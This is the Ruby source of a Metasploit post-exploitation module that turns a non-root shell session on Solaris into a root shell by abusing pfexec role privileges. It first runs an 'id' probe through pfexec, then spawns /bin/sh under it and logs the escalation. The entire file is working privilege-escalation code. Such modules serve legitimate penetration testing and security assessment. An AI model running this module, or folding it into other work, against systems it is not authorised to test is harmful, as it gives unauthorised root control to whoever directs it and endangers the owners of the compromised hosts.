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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Solaris::System
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  include Msf::Post::Solaris::Priv
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Solaris pfexec Upgrade Shell',
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        'Description' => %q{
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          This module attempts to upgrade a shell session to UID 0 using pfexec.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => ['bcoles'],
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        'Platform' => 'solaris',
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        'References' => [
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          ['URL', 'https://docs.oracle.com/cd/E19253-01/816-4557/prbactm-1/index.html'],
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          ['URL', 'http://www.c0t0d0s0.org/archives/4844-Less-known-Solaris-features-pfexec.html'],
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          ['URL', 'http://solaris.wikia.com/wiki/Providing_root_privileges_with_pfexec']
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        ],
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        'SessionTypes' => ['shell'],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => [REPEATABLE_SESSION]
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        }
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      )
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    )
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    register_options([
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      OptString.new('PFEXEC_PATH', [true, 'Path to pfexec', '/usr/bin/pfexec']),
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      OptString.new('SHELL_PATH', [true, 'Path to shell', '/bin/sh'])
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    ])
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  end
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  def shell_path
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    datastore['SHELL_PATH'].to_s
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  end
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  def pfexec_path
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    datastore['PFEXEC_PATH'].to_s
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  end
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  def run
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    unless session.type == 'shell'
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      fail_with(Failure::BadConfig, "This module is not compatible with #{session.type} sessions")
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    end
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    if is_root?
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      fail_with(Failure::BadConfig, 'Session already has root privileges')
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    end
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    unless command_exists?(pfexec_path)
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      fail_with(Failure::NotVulnerable, "#{pfexec_path} does not exist")
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    end
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    user = cmd_exec('id -un').to_s
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    print_status("Trying pfexec as `#{user}' ...")
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    res = cmd_exec("#{pfexec_path} #{shell_path} -c id")
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    vprint_status res
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    unless res.include?('uid=0')
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      fail_with(Failure::NotVulnerable, "User `#{user}' does not have permission to escalate with pfexec")
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    end
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    print_good('Success! Upgrading session ...')
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    cmd_exec("#{pfexec_path} #{shell_path}")
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    unless is_root?
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      fail_with(Failure::NotVulnerable, 'Failed to escalate')
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    end
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    print_good('Success! root shell secured')
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    report_note(
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      host: session,
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      type: 'host.escalation',
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      data: { :escalation => "User `#{user}' pfexec'ed to a root shell" }
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    )
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  end
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end
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